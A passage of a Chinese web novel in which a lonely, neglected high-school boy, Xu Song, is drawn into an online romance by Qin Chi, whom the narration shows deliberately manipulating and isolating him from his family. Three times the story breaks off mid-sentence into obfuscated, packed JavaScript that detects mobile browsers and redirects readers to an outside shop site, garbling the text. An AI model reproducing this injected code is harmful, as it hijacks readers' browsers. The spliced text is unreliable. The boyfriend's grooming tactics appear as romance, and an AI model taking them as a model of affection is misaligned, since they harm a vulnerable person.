听着凌航说话,许颂的手指像是不同使唤了一般,总是放错积木的位置,最后又费劲吧啦地把积木取出来。 他低着头,有些长的碎发掉落在微红的耳朵边。 他小声说不知道,而后又补充:“我们打过电话。” 语音通话可谓是暧昧期最撩人的手段,通过声音就能撩得人心弦动乱,于是凌航问他通话都聊了什么。 许颂有些磕磕巴巴地说了,凌航一脸意味不明的神态,确认地问:“除了打电话,他还给你天天发语音?” 许颂点头。 “那也太暧昧了吧。”凌航想象了下假如将对象换成自己跟简澄阳,捂着脸感叹。 “我感觉你们已经可以网恋了。” 现在就可以网恋了吗?许颂有些茫然地捏着积木,心想自己对秦弛好像还不是特别了解。 “网恋就是保持朦胧感才重要啊,保留未知既是一直保护个人隐私的手段也是一种情趣嘛。” 凌航说着朝许颂眨眼,竖起两只拇指折了折:“网恋没那么讲究,你们之间互相有感觉了就可以直接确定关系了。” “现在吗?”许颂有些迟疑地摸了摸手机。 “也不用这么着急。”凌航打断他的动作,一脸高深说:“你可以找个合适的时间,就比如深夜,这个时候人的感情比较泛滥很容易被动……” 许颂似懂非懂地点头,收回了摸手机的手。 “……还有表白的话,也很讲究。”凌航开始翻自己跟简澄阳的聊天记录,找到了八月份那条,递给许颂看,而后有点沉浸在回忆里:“我跟简澄阳确定关系的那天,他正在野外露营观星,当时我们刚通完电话……” 许颂认认真真看着两人的聊天记录,大致的内容是简澄阳为了观流星在野外露营,但直到凌晨都一无所获,凌航为了安慰简澄阳一直通话陪他聊天。 通话结束后,简澄阳终于观到了流星并且还许了一个愿望,凌航好奇他许了什么,简澄阳卖了很久的关子才告诉凌航,他许的愿望是希望凌航能够陪在他身边…… 凌航说当然愿意,于是两人顺理成章的网恋了。 许颂觉得这个内容有些眼熟,像是他小时候在沙发边陪着李洁看的偶像剧。 ……所以他也要这样跟秦弛告白吗?许颂想着,肉眼可见地退缩了。 他好像跟秦弛保持网友关系也没关系。 凌航见状咳嗽了两声,有点不好意思地把其他腻歪的聊天记录关了,说:“其实也不用搞得特别浪漫,总之挑一个合适的深夜,聊天的时候氛围到了,顺其自然提出来就行了。” 这么一听压力似乎小了一点,但对许颂来说还是有点难。 8. 温水 看着许颂抓着积木郁闷纠结的模样,凌航实在没忍住,朝他脸上揉搓啦两把,最后在许颂疑惑的视线下,露出得逞的笑容:“其实我刚才是在开玩笑啦,没有真的让你去表白的意思。” 许颂闻言有些松了口气。 许颂不是不想跟秦弛网恋,而是主动表白对怯懦愚笨的他来说太过超纲。 秦弛三两句话就能将他弄得面红耳赤、缩头缩尾,他又怎么可能说得出主动告白的话。 而且秦弛这么好的条件找不到合适恋爱对象,肯定是因为他的要求比较严苛。 秦弛不是一个随便的人,即便跟他聊得很开心,也不一定会想要和他网恋的。 许颂在心里琢磨想,觉得跟秦弛当网友也很不错。 秦弛既会关心他的生活,还会跟他语音聊天,虽然做不到凌航跟简澄阳那样每天甜言蜜语嘘寒问暖,但也已经满足了他的需求,如果真的网恋的话,他觉得他真的会对秦弛很上瘾。 思考间,凌航有些笃定的声音从身后传来,他懒洋洋道:“就算真要提那肯定也是秦弛主动提,你只要每天保持着跟他聊暧昧就行了。” 许颂其实不会聊暧昧,也不知道凌航为什么下定论认为秦弛会主动提出网恋,他短暂地将这件事抛在脑后,专注着继续拼乐高。 中午回家时,凌航还想留下许颂一起吃午饭,但许颂早上答应李洁中午回去时帮忙买菜,只能抱歉地婉拒。 许颂打车直接在家附近的超市下车,李洁这时候还在收银台上班,见他过来叮嘱了几样中午要做的菜,并让他回家顺便把菜备了。 许颂点头,推着购物车往生鲜区走,周末中午的超市人很多,货物架通道前前后后推着购物车有些拥挤。 许颂在让道时从兜里掏出手机,学着秦弛之前的样子,压着镜头往朝购物车附近录了一段短暂的视频,发出去后慢吞吞打字:中午超市好多人哦。 秦弛的语音发过来,许颂没有戴耳机,在外面也不好外放只能转成文字来看。 秦弛:颂颂逛超市准备买什么? 许颂一只手推着车,单手握着手机有些老实巴交地把李洁点名要买的东西发出去。 对面安静了几秒,问:为什么是颂颂出门买菜?颂颂要自己做午饭吗? 许颂说不是,他只是帮忙买菜备菜而已。 秦弛有些阴沉地盯着那行字,心里淡漠而重复地呢喃着为什么要帮他们做这些呢,发语音时却柔和无比:“这样吗,颂颂好听话哦。” 但为什么不愿意听我的话呢? 许颂虽然听不了秦弛的语音,但单看文字似乎就能想象得到对方的腔调,他握在推车把手上的手指微微紧了紧,有些不好意思。 他一边买菜一边跟秦弛聊天,回到家后要备菜便没时间跟秦弛聊了。 他把蔬菜牛肉一一洗干净切好,李洁也正好下班回家。 她在厨房接手,许颂便空闲了下来,但他一上午在凌航家里呆着,还有一大半作业没赶,于是准备回房间先做一些。 路过许清宝房间时,对方的房间门忽然被拉开了,许清宝从里面探出头有些悄咪咪朝他招手,听语气像是有什么急事:“二哥二哥快过来。” 许颂顿了顿回头,客厅许高富正在刷视频,开得声音很大,并没有注意兄妹两人的交流,他不明白许清宝这么紧张兮兮的用意,但依旧很配合地朝许清宝靠近了一些,低声问:“怎么了?” “你先进来嘛。”许清宝一脸难言之隐催促道。 许颂只好进她的房间里。 许清宝一个人住一个房间,大衣柜大书桌大床,飘窗上放满了女孩子喜欢的玩偶和她学美术的画架颜料,许颂曾经在这个房间生活过的痕迹早在几年前荡然无存,连吊顶上的灯都照着许清宝喜欢的款式换了。 许清宝将房间门反锁上后,推着旋转椅到许颂面前,嘿嘿笑着让他坐。 面对如此献殷勤的妹妹许颂心里隐隐觉得不好,许清宝上次这样还是想要凌航送他的那个DSN联名风扇。 “我不坐了,你坐吧。”许颂把椅子转回给许清宝。 见如此,许清宝顺势坐下遗憾说:“那好吧。” 她看着自己呆呆的二哥,有些不好意思地清了清嗓子,即便已经关上了房间门还是控制不住压低声音小声说:“哥,你可不可帮我个忙。” 许清宝从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晚上跟秦弛通电话时,许颂有些奄巴的语气几乎立马就被察觉了。秦弛询问时,他一直刻意回避着。秦弛表面体贴理解,心里却不悦地对这段时间温水煮青蛙的把戏有些腻味了。 许颂是反应迟钝的豚鼠,温水并不能使他开窍主动,只会让他更加沉溺满足,所以他不会因为一些关心就对秦弛推心置腹。 秦弛觉得是时候拔高水温了。 9. 生日 跟秦弛挂断通话后,许颂的心情好了许多,但因为不知道许清宝到底想要买什么,他心里一直觉得有些不安。 李洁的脾气冲,要是发现兄妹两人背着她干坏事准要责骂一通,但许清宝在私立学校寄宿上学,下午就已经回学校了,许颂再担心也无济于事,只能暂且将此事抛在脑后。 他的生日在这周的周四,一个忙碌而平常的日子里,平常到李洁和许高富都未能第一时间察觉那天的不同。 大家没有想起来,许颂也没有主动提,因为工作日过生日很麻烦,高三上学早放学晚,似乎就连他自己也抽不出太多时间来过。 凌航四月份过成年礼的时候,邀请许颂一起聚餐吃蛋糕,于是许颂也打算订两个小蛋糕,周四下午请凌航一起吃饭。 所以秦弛问许颂十八岁生日怎么过时,他也这么老老实实回了。 秦弛沉默了两秒,像是真的疑惑问:“颂颂不是说家人互相关心是应该的吗?为什么他们连你的生日都不记得呢?” 许颂闻言手指有些不自觉地扯着耳机线,嘴唇微微咬着,这是一种被戳穿不自觉感到窘迫的状态,但他心里有自成一套的安抚,所以很认真地纠正:“他们不是不记得,是因为工作日比较忙他们要上班所以才疏忽了,而且我上学也没多少时间过。” “是吗?”秦弛声音微微扬着,像是不太相信,“真的不是因为他们总是忽略颂颂所以才不记得颂颂生日吗?” 他说话的腔调依旧那么温柔,气息轻轻的,然而说的话却很直接:“可这是颂颂的十八岁生日,他们就算再忙也不会完全不记得吧?毕竟家人之间关系那么亲密,提前准备对方的生日难道不是应该的吗?” 许颂闻言顿时哑口无言,愚笨的他并不能应对这些话,只觉得平时温柔体贴的秦弛好像不见了,现在说的话总是让他觉得难受。 许颂有些生气了,他很少向别人展现这些情绪,只是闷着头不想再说话了。 秦弛喊他,他也只是扣着耳机走神,直到对方好声好气跟他道歉,他才闷闷不乐说:“明天还要早起,我要去睡觉了。” 平时挂断电话的时间都是由秦弛精准地把握着,但现在许颂主动想要提前结束通话了,并且也不愿意再好声好气喊他哥哥。电话另一端的秦弛却没因此觉得恼火不满,反而微微扬着唇挂上了意味不明的淡笑。 他继续低哄着跟许颂说话:“抱歉颂颂,我并不是说他们不关心你的意思,只是我从来没有接触过正常的家庭氛围,所以才会不自觉地这么揣测他们对你的感情,你知道的,我从小到大……” 听着秦弛诚挚的道歉,许颂后知后觉自己刚才竟然对着秦弛耍了脾气。 他有些亏欠想秦弛说那些话并不是故意的,而且对方也并没有说错什么,李洁和许高富的确忘记了他的十八岁生日。 凌航四月过成年礼的时候,家里人在酒店办了一场生日宴,很隆重,但他过十八岁生日的时候,家里却没有人记得。 许颂可以习惯这种落差,只要没人把事实在面前摊开,他可以一直这么接受下去。 可秦弛戳穿了他掩盖,许颂便真的有些伤心了。 他憋着情绪,准备回话时,耳机里说话的秦弛因为一直没有听见他的回应,语气有些失落地说:“好吧颂颂。时间不早了,我就不继续打扰了,颂颂要记得好好休息……” “晚安。” 通话挂断后,许颂抱着手机,缓了几秒,确定耳机里真的听不见秦弛的声音了,眼睛开始难受地发热。 他用手背擦了一下,然而却擦出了源源不断流出的泪水。 许颂说不清是因为父母不记得他的生日而感到难受还是刚才朝秦弛发脾气未能及时回应而产生的患得患失。 他很久没有流眼泪了,突如其来的情绪将他掩盖得很彻底。 许颂视线朦胧地关上手机,脸颊捂在枕头边,不受控制的泪水将能够触及的一切都浸湿了,最终在浑浑噩噩间睡了过去。 早上起来,许颂的眼睛有些水肿,他翻开手机才发现在关断通话后秦弛因为昨晚的事情失眠了,凌晨给他发了很多条消息。 许颂摇摇欲坠的不安被安抚了一些,他打字的动作还有些干涩给秦弛发了一句早安。 没想到秦弛很快就回了消息,声音有些惊喜地跟他说颂颂早安。 许颂单手煮着速冻水饺,咬着唇犹豫了很久,才按下语音有些小声地跟秦弛解释自己昨晚没有生气,而后又关心地询问秦弛的失眠状况。 得知秦弛一晚上没有休息等他起床回消息,不禁急忙催促秦弛回去睡回笼觉。 秦弛有些沙哑缱绻的嗓音传过来,有些可怜:“可是颂颂我周三满课,一会儿就要去上早八了,颂颂昨晚没有生气也没有跟我说晚安……” 许颂闻言不禁内心愧疚无比,小声说对不起。 秦弛说他想听的不是这个。 许颂有点没理解秦弛的意思,他快到出门时间了,有些急匆匆地问秦弛想要听什么。 对话框里安静了几秒,秦弛的语音才发过来,他淡笑了一声,说算了,不急,晚上再聊吧。 许颂闻言只好跟秦弛告别,放下手机去上学。 发觉秦弛似乎比想象中要在意自己,许颂心情一改昨晚的沉闷,甚至有些放松,晚修放学时,他走路的步子迈得有些大,想要早点回去跟秦弛通电话。 回到家,许颂拉开玄关门准备换鞋时看见了客厅单人沙发上许清宝,有些疑惑地眨了下眼。 对方现在不应该是在学校里了吗?感冒请假了? 没等许颂疑惑,他的目光又注意到了旁边长沙发沙发上面色严肃的李洁和许高富,不知怎么,他的心跳狠狠空了一拍,像是某种预兆。 许颂换好鞋子,背着书包走进去,路过客厅时跟他们三人打招呼,看见许清宝通红的眼眶,心中的预料像是灵验了一般。 李洁的视线看向他,那双锋利的眼睛像是两把利剑刺得人心慌意乱。 她面上没有一丝表情,但火爆的情绪就已经表现得很明显。 李洁翘着腿,手指敲在客厅茶几上,使唤许颂过来,在另一张单人沙发上坐下。 许颂步伐有些迟钝地走进剑拔弩张的氛围里,落座时客厅里的低压将他压得喘不过气。 沙发上边抽噎的许清宝看见自己二哥之后,内心愧疚地低下头。 许颂看着李洁手里抽出两部手机毫不留情地甩在茶几上问他见没见过。 其中一部手机许颂自然眼熟,那是许清宝连吃饭都舍不得放下电子设备,而另一部他诚实地摇了摇头。 李洁冷笑了一声又问他知不知道许清宝这第二部手机是从哪里来的。 许颂的心一直悬空着,他似乎是能预料到接下来的内容,视线虚虚落在茶几上面的两部手机,摇了摇头。 “真不知道假不知道?”李洁不带情面地讽他,“兄妹两人合伙跟我作对是吧?嗯?” 许颂闻言搭在衣边是的手缩了缩,说没有。 “没有?妹妹跟你借两千多块钱你问都不问清楚?还帮她瞒着,不是合着伙跟我和你爸作对还是想做什么?”李洁掌心从桌面拍上去,砰地一道响声,茶几上没放稳的摆件也跟着啪嗒摔在地上。 她没什么好脸色地朝地上抬了抬下巴,冷声使唤许清宝捡起来,而后看着沉默不语的许颂,火气依旧烧得厉害:“嘴巴粘胶水了吗?怎么不说话?!” 许颂闻言动了动嘴依旧有些干巴巴地说没有,视线里,许清宝捡起摆件一直抽噎着,对面的许高富脸色铁青在看着自己。 他不明所以地承受着李洁的怒火,直到耳朵被李洁尖锐的声音刺得嗡嗡响才知道前因后果。 原来许清宝当初跟他借的两千块钱是拿去买手机了。 许清宝平时去学校住宿手机留在家里被李洁收着,于是便想要偷偷买一部手机带去学校玩,没想今天晚修玩的时候被值班老师抓个正着。 许清宝就读的那所私立高中纪律抓得严,许清宝被抓了不仅要写检讨记过,还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482231|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫家长接回家反省一天。 李洁赶到政教处当场把许清宝的手狠狠抽了一顿,许清宝心理素质本来就不好,而后在李洁严肃逼问下哆哆嗦嗦说了实情。 李洁睨着兄妹两人,手指在两人之间来回流转,讥讽的声音异常大:“你们兄妹两个都长本事了,一个借钱给妹妹买手机还帮忙瞒着,一个不认真学习带着手机去上学……” 许清宝闻言抽噎着插话解释:“哥哥不知道我借钱买什么。” “那我就问他有没有瞒着我们借钱给你?” 李洁冷眼瞥她,脸上的寒气如有实质,许清宝缩着肩膀低头噤声了。 李洁揪着兄妹两人训斥了几十分钟,最后没收了许清宝两部手机,无论许清宝怎么撒泼打滚都没松口,而许颂所有的零花钱也被一并没收了。 许颂那可怜的钱包本来就没多少钱,零零散散地七十块钱上缴了,李洁也不眨眼,一起锁进抽屉里。 许颂抓着空荡荡的钱包在客厅站了好一会儿,才回房间里,像是若无其事地取衣服去洗澡。 许清宝在客厅撒泼完得到李洁的回应只能灰溜溜地跑到许颂面前跟他道歉。 许颂带着衣服进浴室,快关门时跟许清宝说没事。 许清宝闻言蹲着浴室门口没走,她听着里头哗哗的水声,想到自己牵连了二哥,有些内疚地朝里面喊:“哥,你放心,那钱我还是会还你的。” 她怕许颂听不见声音叫得有些大,许颂在淋浴头下搓着眼睛,听见在主卧的李洁冷哼了两声,说以后她不会再给许清宝零花钱。 很快门外传来许清宝撒泼打滚地叫声,最后是被许高富哄回房间。 许颂安安静静洗完澡,没什么情绪地回房间给秦弛发消息 他将湿发吹干后,很快秦弛的通话便打过来了,只是对方这回又拨错了通话方式,许颂戴着眼镜看得一清二楚,他抬手正准备挂断时,秦弛忽然发来几条文字消息,让他接通,不开摄像头就好了。 许颂有些没明白秦弛的用意但还是照做了。 他那部老旧的手机界面有些卡顿地安静了几秒,视频通话才传达成功。 秦弛锋利的五官猛的出现几乎占据了整个屏幕,许颂手指下意识大滑了下,差点把手机给摔了,好在有耳机线将手机挂着。 “颂颂能看得见我吗?”手机里秦弛深情地注视着镜头,关心问,但许颂没看见,他只能听见对方的声音,有些狼狈揪着耳机线捞手机,暂时顾不上没回应。 秦弛没听见他的声音,又关心地问了一次,这时许颂才捡起手机,看见屏幕中那张帅气的面庞,声音卡顿地说:“看、看见了,哥哥。” 秦弛闻言轻笑了两声,那双细长的桃花眼微微弯起,就连眉梢间都沾染着温柔,“能看见就好。” “颂颂害羞不开镜头也没关系,看着我就好了。” 许颂平时只听着秦弛的声音就已经受不住了,如今看着视频里的面容,说话结巴的毛病几乎又要犯了,他不知道秦弛为什么突然要这样跟他通电话,但对方相貌无疑是优越的,眉骨突出,鼻梁高挺,视频中的气质比他手机里存的那些照片要更胜一筹。 他专注地端详秦弛的脸,几乎连对方说的话都要忽略了,直到秦弛连问了几句才反应过来。 他通话的状态不佳,秦弛似乎也不在意,神情依旧柔和的,像是在注视着什么珍宝,让许颂的心一点点悸动着,身上总是传来止不住燥意。 许颂还记得秦弛昨晚一夜失眠,观察着秦弛的眼下感叹对方的健康,熬夜也不会有黑眼圈,但很快他把跑偏的思绪拉回来,关心问:“哥哥一天都没有好好睡觉,今晚要不要早点休息呀?” “没关系颂颂,我现在还不困。”秦弛声音温柔地回道,那双漆黑的眼珠紧紧盯着镜头,唇角弯起的弧度很标准,忽然问:“颂颂猜猜我现在在哪里?” 许颂刚才的注意力一直落在秦弛的脸上,闻言有些茫然地看向秦弛身后有些灰蒙蒙的背景,像是能看到一些熟悉的影子…… 10. 喜欢 许颂无疑可以确定的是秦弛现在正处于室外。 他微微眯着眼,依稀能分辨出秦弛身后摇晃的树影,有些猜疑不定地问:“哥哥在公园里吗?” 秦弛扬着眉,镜头小幅度地晃了下,轻声说不对哦颂颂。 他微微转了转身,镜头随着动作转动落到了光亮的地方,那是一大片城市光景,很漂亮。 逆光下,秦弛的神态有些模糊不清了,但唇角的笑意却很明显,解释:“我现在在山上。” 许颂闻言有些纳闷了,“哥哥来山上做什么?” 秦弛正在朝另一个方向走动,侧脸被浅淡的光束打亮显在镜头中,优越的鼻梁被展示得淋漓尽致。 许颂看见他的嘴唇微微动着,回答说:“露营。” 秦弛将镜头朝光亮的方向扫过去,那里是一片空旷的草坪,零星扎着几个帐篷,许颂看清后,心里莫名跳出一个猜测,于是好奇问:“哥哥要在山上露营观星吗?” 秦弛标准的笑容在听见许颂的话后唇角微不可闻地僵定,而后淡笑着否认,表示观星这么无聊的活动是另外两人的打算。 许颂心里猜测着秦弛口中的另外两人里应该有简澄阳,心道凌航的网恋男友真喜欢看星星。 远两百多米外,从帐篷出来的两个男人被寒风吹得连打喷嚏。 “秦弛怎么突然大晚上说过来观星啊?今天的日期不太对吧。”简澄阳看着一颗星星都没有的夜空,翻开设备查询消息,纳闷道。 程匀深迎风点了一把烟,轻嗤了声:“你看秦弛是过来看星星的么?” 简澄阳闻言看向对面,秦弛举着手机不知正在跟谁说着话,疑惑:“他这么忙?这是在跟谁聊呢?” 程匀深像看傻子一样看他,“你说呢?” 简澄阳应该是最知道秦弛跟许颂进度的人了,但他此时还没反应过来 ,说:“我说什么?” 说完,他隐隐看见了秦弛脸上的笑容,有些后知后觉扭头,朝程匀深拍了一掌,“靠了,秦弛不会是学我的手段网恋吧?” 程匀深站在简澄阳的上风口,缭绕的烟雾直直往简澄阳脸上呼啸,他看着这人咳嗽半天,才凉凉说:“是啊,秦弛认真了,你也完了。” “网恋而已,谁会把这些小儿科放心上?”简澄阳吸了吸鼻子,反驳道,听见兜里的手机响了,小心翼翼捧出来,转头一脸荡漾蹲下去回消息去了。 程匀深见状又轻嗤了一声,带着看淡般的语气轻飘飘说:“谁知道呢,反正不是我。” …… 秦弛说自己一夜失眠,白天满课没怎么休息,现在又忽然跑到另一座城市山上露营,正常人心里都会觉得不对劲。 许颂原本是有些纳闷的苗头的,只是刚冒出一点就被秦弛的话带走了注意力。 秦弛一眼不眨地注视着镜头,轻声说:“虽然颂颂昨天没有生气,但我想了想,还是觉得我有错。” “我怎么能这么揣测颂颂的家人呢?要是不小心破坏了你们之间的感情就不好了……” 许颂闻言原本放松地心情有些紧绷了,他看着屏幕中温柔体贴的男人,脑中莫名回忆起刚才回家时,李洁和许高富看向他时难看的脸色,渐渐垂下眼。 想到被李洁没收的那最后七十块钱,那本来是他准备请客和凌航一起去吃小蛋糕的钱。 他快生日了,爸妈不记得,还挨了骂被没收零花钱,第二天连蛋糕都吃不了。 许颂觉得今天比昨天还要难受,但他今天应该没有力气哭了,只是声音淡淡地、没什么起伏地说:“哥哥没有错。” 视频中说话的男人似乎还没有反应过来,微微疑惑地“嗯?”了声。 许颂手指在枕头边扣弄,将上面的勾线扯地松散断裂却浑然不觉,低声缓慢地说:“是我在骗人,他们不记得我的生日,平时一点也不关心我。” 从不在意他的喜好、感受、习惯,仿佛将他当做这个家里可有可无的存在,只在忙碌的时候能感到被需要而已。 秦弛闻言状似意外问:“颂颂为什么这么说?” 许颂很清楚的知道自己其实是一个很计较的人,他会在嘴上、心里不断地说服自己,但总会留一处地方将那些东西塞在一起,他们挤压着,爆发时威力便会变得很强大。 许颂一直不承认自己在这个家庭中边缘化的事实,但其实他在七岁时就察觉出了一丝端倪,他这么多年忽略着,渐渐的也自以为不在意了。可秦弛问时,他还时不由自主地从这里说起。 因为早产,许清宝刚出生那几年的身体不是特别好,经常生病住院,李洁几乎天天往医院跑,许颂跟许祐已经把去医院的路走熟了,有时候许祐贪玩把许颂随手留在小区公园,许颂便会自觉去医院找妈妈。 只到有一回找到医院无意听见李洁跟许高富诉苦。 李洁一直想要一个女儿,二胎时验过也专门去庙里拜过,但没想到是个儿子,后来三胎,也花了不少方式验过,然而却意外早产。 李洁想到整天活泼跟在身后的许颂又想到三两天往医院跑的许清宝,终于忍不住跟许高富设想,假如许清宝二胎顺利出生就不会受那么多苦了。 许颂小时候并不像现在那么沉默寡言,甚至被许祐带得有些调皮,但对李洁言听计从。 李洁的一切放在他小小的心脏里都是重要的东西。 听见这些话时,许颂小小的头脑好像转不动一般,他本应该冲上去学着许祐的样子跟李洁耍赖皮,但在准备发动的那一刻,迟钝地理解了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482232|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段话的含义。 他好像知道为什么李洁以前给他洗澡时总是喜欢托着他的脸说他白白嫩嫩,要是个小女孩就好了、知道为什么许祐总是说他把妹妹的位置抢走了。 许颂心里那条杠杆在那一刻就好像弯曲了,李洁所占据的那一段被活生生压垮,留下一道参差不齐的断痕,但他一直刻意忽略着,不自觉地变得沉闷。 然而那道痕在这么多年以来一直没有得到修补,只在李洁一声声质问中蔓延到其他位置。 许颂刻意忽略了这么多年,也不得不承认自己其实是介意了这么多年。 他揭开了自己深藏已久的难堪,像是也揭开了话茬,说起今晚的事情,他其实不明白为什么今晚许清宝在学校玩手机被抓,李洁要将一半的责任指着他的身上,他声音带着不自觉的颤抖,像是委屈又像是难受:“她没收了我的零花钱,存了很久。” “买不了蛋糕了……” 在许颂说话间,秦弛不知不觉走进漆黑的树林边,五官在黑暗中模糊不清,他明明听到了自己猜测之中的内容,却一点也不满意。 他站在阴凉的树下,像是一只阴暗的鬼魂,感应着另一端的呼吸声,想象着对方的神态,忽然轻声地关心:“颂颂哭了吗?” 许颂闻言眨了眨眼,没有流眼泪,只是眼眶很酸,他低声说没有,顿了顿说完最后一句话:“他们都不喜欢我。” 秦弛温声说:“他们不喜欢颂颂,以后我来喜欢颂颂好不好?” 许颂说完心里憋了很久的话有些元气大伤,愚钝的大脑第一时间没有听懂秦弛的意思,下意识说:“什么……” 秦弛从树林重新走进光里,对许颂没有听懂他的意思并不介意。 他的目光从屏幕上方扫过,忽然说:“颂颂,快零点了。” 沉浸在情绪里的许颂这才反应过来,竟然快凌晨十二点了。 新的一天即将到来,他的第一反应是自己刚才原来说了这么久吗,但秦弛提醒时间并不是这个意思,他深情注视着许颂,即便此刻他根本无法看到许颂的面孔。 就在最后的十一点五十九分变成一串零时,秦弛身后忽然升起一束束剧烈的亮光,在急旋高空的那一刻猛地散开汇聚成一道一道绚丽的烟火,仿佛将整个天际笼罩,占据了秦弛身后所有的背景。 秦弛站在烟火之中,漂亮的色彩将他的面容染的含情脉脉,许颂就在这茫然的失神间,听见了秦弛熟悉、温柔的嗓音:“颂颂,生日快乐。” 视频里,秦弛双眼被烟火照得明亮有神,他把刚才的话重复了一遍:“颂颂,他们不喜欢你,以后我来喜欢你,好不好?” “我和他们不一样,他们的爱可以被分走,我的不会,我的爱只属于颂颂一个人。” 11. 恋爱 秦弛的声音与烟花的爆鸣声贴合,传入许颂的耳机里有些朦胧,像是一种虚幻的错觉。 他怔愣地看着手机屏幕中的烟火和秦弛张扬的脸庞,大脑仿佛不会思考了一般,但秦弛并没有给他反应的机会,而是继续轻声地反问他。 “颂颂可以给我一个机会吗?” 一连串的信息撞进许颂有限的大脑中,他其实有些听不清秦弛说什么了,只是有些恍惚地想起凌航说过的话,而后才后知后觉发觉秦弛真的跟他告白了。 秦弛的双眼像准备掣肘猎物的刀刃,暗藏着危险的锋芒,然而在许颂的视角下,他只能感受到对方墨色眼瞳里带来的柔和与真情。 许颂这两天前前后后太累了,大脑不受控制地进入休眠的状态,似乎连警惕都无法达到正常标准,更何况在精神最为脆弱的、情绪最为容易放大占据一切的深夜。 他的心里其实也有些动摇了,只是身体迟钝的反应让他现在自保着。 秦弛身后的烟火渐渐消逝了,对方的面庞进入短暂地灰暗,但缱绻的眉眼又很快地被屏幕光照亮显现在镜头下。 许颂有些无法思考,只能感受到心跳剧烈的跳动声,似乎也把他的呼吸也带动了,胸腔控制不住地加速起伏。 他的耳机里面很安静,只有秦弛身边沙沙的虫鸣声和秦弛微弱的呼吸声,像是也把许颂的耳朵一并带入休眠,只能循环这些暧昧的声色。 许颂长时间的沉默让秦弛有些等待不起,他微微靠近屏幕,垂着双眼,像是示弱、低人一等的奢求姿态,低低喊了一声颂颂。 出于下意识许颂应声了,秦弛的神态便因此变得满足,喉结迟缓地滚动着柔声询问:“可以给我这个机会吗?” 秦弛刻意压低的嗓音有些哑,伴着夜间的声音像是一道轻缓的浪花,激得许颂脖子脸颊先后滚烫一片。 明明秦弛看不见自己,许颂却有一种屏幕中秦弛在跟自己对视的感觉,从手机屏幕中挪开视线,不敢继续再看那双温情的双眸。 许颂不知道该如何答复,动荡的心脏不断向大脑反馈消息,他垂着脖颈,只能作出最原始的反应,瓮声瓮气唔了声。 秦弛听见了他的声音,疑惑地轻声问他唔是什么意思? “是答应的意思吗?颂颂。” 耳边秦弛还在温声细语地问,许颂浑身都撩着热,不自觉地咬着唇,热气蔓延在全身,他浑然不觉间一点一点掉入陷阱,眼睛低垂着,低低地嗯了声,唇瓣微弱蠕动着,说:“是……” - 许颂其实有些记不清昨晚最后的细节了,只记得秦弛在烟火下告白时心脏传来前所未有的悸动,那种感觉仿佛将他这么多年以来荒芜的身躯卷回了春,也将他那些痛苦的情绪一并清扫空了。 但许颂一想到他跟秦弛之间换了一个新的身份便有些手足无措,像是平时聊天的方式都失效了,他又开始不会打字发消息了。 一大早起床抱着手机纠结半晌,最后还是跟往常一样跟秦弛发了早安。 对方也一如往常很快地回了语音,声音带着刚睡醒的懒怠沙哑,像是听见许颂的消息就惊醒了一般,说:“颂颂早安。” 秦弛的声音似乎跟平时没有差别,但许颂却莫名觉得对方的语调比以前要更加亲昵。 他垂着头,嘴唇不知不觉抿着一个笑,低头慢吞吞地打字说自己现在要去上学了。 秦弛说等一下。 许颂便真的乖乖地等了下,紧接着手机中的另一条软件忽然弹出一条消息。 他带着茫然打开zfb发现有陌生人给自己的账号打了一笔钱。 就在许颂慌乱间,这个陌生人已经申请他好友了,他看见对方熟悉的头像时,心神才安定下来,通过好友后,想要把对方转来的钱还去。 但秦弛似乎提前感应到了他的念头,发了消息过来。 秦弛:没有办法亲自给颂颂买蛋糕,只能让颂颂自己去买了。 秦弛:颂颂,不要转回给我。 许颂看着秦弛转来的钱,的确没有特别多,刚好可以买一个贵一点的大蛋糕。 秦弛说他可以用多的钱去请客,但不可以转回去,不然他会很难过。 许颂不想恋爱的第一天就破坏两人之间的感情,而且上学快也迟到了,他只能打算着去学校问问凌航该怎么做。 听见许颂跟秦弛在一起了,凌航丝毫不意外地揶揄:“我早上起床就知道了!而且秦弛跟你告白的时候,简澄阳也在,他半夜给我发了好多消息。” 说着,他朝许颂得意地哼哼笑,“我之前说的没错吧,他肯定会主动跟你告白的。” 许颂好奇问他为什么这么肯定,凌航对嘴巴比了个拉拉链的手势说:“秘密,你估计很快就会发现啦!” 但许颂其实更纠结的是早上的转账,凌航闻言如同看傻子一样看他:“钱代表着他的心意,你不收,人家会伤心的。” “你只要记住收钱后再多叫对方几句哥哥,让对方也感受到你的心意就行了。”凌航道。 许颂其实不太懂网恋是怎么谈的,只能干巴巴说这样吗。 下午放学许颂没有回家,他和凌航一起留在了购物广场吃了晚饭和蛋糕。 他将蛋糕照片发给秦弛,像情侣报备一般给对方发消息:哥哥,我已经吃蛋糕了。 这是凌航教他的内容:恋爱,就是要无时无刻互相分享自己的趣事,把自己正在做什么告诉对方。 虽然许颂平时跟秦弛的聊天内容和凌航所说的差不多,但许颂没有做到把自己身边的事情‘无时无刻’分享给秦弛。 听了凌航的话,许颂心里便开始建立新的习惯了。 